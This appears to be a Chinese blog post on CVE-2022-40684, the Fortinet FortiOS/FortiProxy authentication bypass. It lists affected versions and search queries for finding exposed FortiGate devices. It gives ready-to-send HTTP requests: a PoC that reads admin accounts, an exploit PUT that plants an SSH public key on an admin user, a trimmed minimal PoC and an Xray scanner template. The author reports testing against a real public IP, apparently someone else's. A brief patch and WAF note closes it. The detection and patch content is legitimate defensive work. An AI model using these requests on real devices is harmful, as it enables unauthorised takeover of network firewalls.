CVE-2022-40684 Fortinet(飞塔)身份验证绕过漏洞

GitHub地址:

https://github.com/hughink/CVE-2022-40684

漏洞简介

Fortinet(飞塔)是一家全球知名的网络安全产品和安全解决方案提供商,其产品包括防火墙、防病毒软件、入侵防御系统和终端安全组件等。在受影响的FortiOS、FortiProxy 和 FortiSwitchManager产品的管理界面中,可以通过使用备用路径或通道绕过身份验证,并在未经认证的情况下通过特制的HTTP或HTTPS请求对管理界面进行操作。

影响版本

  • FortiOS 版本 7.2.0 - 7.2.1

  • FortiOS 版本 7.0.0 - 7.0.6

  • FortiProxy 版本 7.2.0

  • FortiProxy 版本 7.0.0 - 7.0.6

  • FortiSwitchManager 版本 7.2.0

  • FortiSwitchManager 版本 7.0.0

搜索语法

title="FortiProxy"

title="FortiGate"

Poc数据包

GET /api/v2/cmdb/system/admin HTTP/2Host: 35.192.137.121User-Agent: Node.jsAccept-Encoding: gzip, deflateAccept: */*Hosts: 127.0.0.1:9980Forwarded: by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=X-Forwarded-Vdom: root

Exp数据包

PUT /api/v2/cmdb/system/admin/用户名 HTTP/2Host: 目标User-Agent: Report RunnerAccept-Encoding: gzip, deflateAccept: */*Connection: closeForwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"Content-Length: 589Content-Type: application/json
{"ssh-public-key1": "\"公钥内容\""}

漏洞复现

经过实验发现User-Agent只能为Node.js,Hosts可以删除,Forwarded中by和for的值可以为空,X-Forwarded-Vdom可以是任意值,最精简Poc:

GET /api/v2/cmdb/system/admin HTTP/2Host: 35.192.137.121User-Agent: Node.jsAccept-Encoding: gzip, deflateAccept: */*Forwarded: by=""for=""X-Forwarded-Vdom: abcd

测试结果如图,想了想美国IP就算打码了:

漏洞利用部分就查看hughink的GitHub吧,写的挺详细的。

Xray Poc

name: poc-yaml-Fortinet-CVE-2022-40684manual: truetransport: httprules:    r1:        request:            method: GET            path: /api/v2/cmdb/system/admin            headers:                User-Agent: Node.js                Forwarded: by=""for=""                X-Forwarded-Vdom: root            follow_redirects: false        expression:            response.status==200 && response.body.bcontains(b"revision") && response.body.bcontains(b"q_origin_key")expression:    r1()detail:    author: Infiltrator    links:        - https://github.com/NHPT

漏洞检测结果:

防护建议

除了升级版本安装补丁外,由于User-Agent的值固定,Forwarded和X-Forwarded-Vdom存在,所以特征还是很明显的,设置WAF策略应该也是不容易绕过的。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值